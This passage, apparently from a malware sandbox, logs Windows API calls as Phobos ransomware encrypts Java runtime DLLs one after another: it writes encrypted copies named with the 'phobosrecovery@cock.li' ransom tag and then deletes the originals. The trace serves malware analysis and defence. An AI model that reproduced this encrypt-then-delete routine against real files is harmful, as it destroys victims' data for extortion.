dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x6050, dwBufLen=0x6050 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x6050) returned 1 [0176.526] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x6050, lpOverlapped=0x0) returned 1 [0176.527] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1610) returned 1 [0176.527] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.527] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0176.527] CryptDestroyKey (hKey=0x1d1610) returned 1 [0176.527] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0176.527] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0176.527] CloseHandle (hObject=0x2d8) returned 1 [0176.527] CloseHandle (hObject=0x2e4) returned 1 [0176.527] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1 [0176.529] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0176.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0176.529] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=136256) returned 1 [0176.529] CloseHandle (hObject=0x2e4) returned 1 [0176.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0176.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0176.529] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.529] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0176.530] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1ad0) returned 1 [0176.530] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.530] ReadFile (in: hFile=0x2e4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x21440, lpOverlapped=0x0) returned 1 [0176.686] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x21450, dwBufLen=0x21450 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x21450) returned 1 [0176.686] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x21450, lpOverlapped=0x0) returned 1 [0176.693] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1b90) returned 1 [0176.693] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.693] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0176.693] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0176.693] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0176.694] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0176.694] CloseHandle (hObject=0x2e4) returned 1 [0176.694] CloseHandle (hObject=0x2d8) returned 1 [0176.694] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1 [0176.696] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0176.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0176.696] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=274496) returned 1 [0176.696] CloseHandle (hObject=0x2d8) returned 1 [0176.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0176.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0176.697] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.697] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0176.698] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d14d0) returned 1 [0176.698] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.698] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x43040, lpOverlapped=0x0) returned 1 [0176.909] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x43050, dwBufLen=0x43050 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x43050) returned 1 [0176.910] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x43050, lpOverlapped=0x0) returned 1 [0176.914] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d16d0) returned 1 [0176.914] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.914] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0176.914] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0176.914] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0176.914] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0176.915] CloseHandle (hObject=0x2d8) returned 1 [0176.915] CloseHandle (hObject=0x2e4) returned 1 [0176.919] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1 [0176.931] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0176.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0176.931] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=265792) returned 1 [0176.931] CloseHandle (hObject=0x2d8) returned 1 [0176.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0176.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0176.932] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.932] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0176.933] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d16d0) returned 1 [0176.933] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.933] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x40e40, lpOverlapped=0x0) returned 1 [0177.608] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40e50, dwBufLen=0x40e50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40e50) returned 1 [0177.608] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x40e50, lpOverlapped=0x0) returned 1 [0177.613] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1b10) returned 1 [0177.613] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0177.613] CryptEncrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0177.613] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0177.613] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0177.613] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0177.613] CloseHandle (hObject=0x2d8) returned 1 [0177.613] CloseHandle (hObject=0x2ec) returned 1 [0177.613] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1 [0177.617] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0177.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0177.617] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=619584) returned 1 [0177.617] CloseHandle (hObject=0x2ec) returned 1 [0177.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0177.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0177.618] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0177.618] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0177.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0177.618] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1610) returned 1 [0177.618] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0177.618] ReadFile (in: hFile=0x2ec, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x97440, lpOverlapped=0x0) returned 1 [0178.237] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x97450, dwBufLen=0x97450 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x97450) returned 1 [0178.238] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x97450, lpOverlapped=0x0) returned 1 [0178.247] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1a90) returned 1 [0178.247] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.247] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50, dwBufLen=0x50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50) returned 1 [0178.247] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0178.247] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x102, lpOverlapped=0x0) returned 1 [0178.247] CryptDestroyKey (hKey=0x1d1610) returned 1 [0178.247] CloseHandle (hObject=0x2ec) returned 1 [0178.247] CloseHandle (hObject=0x2d8) returned 1 [0178.247] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1 [0178.282] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0178.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0178.283] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=158272) returned 1 [0178.283] CloseHandle (hObject=0x2d8) returned 1 [0178.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0178.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0178.283] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.283] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0178.284] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d19d0) returned 1 [0178.284] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.284] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x26a40, lpOverlapped=0x0) returned 1 [0178.407] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x26a50, dwBufLen=0x26a50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x26a50) returned 1 [0178.407] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x26a50, lpOverlapped=0x0) returned 1 [0178.410] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1410) returned 1 [0178.410] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.410] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0178.410] CryptDestroyKey (hKey=0x1d1410) returned 1 [0178.410] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0178.410] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0178.410] CloseHandle (hObject=0x2d8) returned 1 [0178.410] CloseHandle (hObject=0x2ec) returned 1 [0178.410] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1 [0178.413] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0178.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0178.413] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=63552) returned 1 [0178.413] CloseHandle (hObject=0x2ec) returned 1 [0178.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0178.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 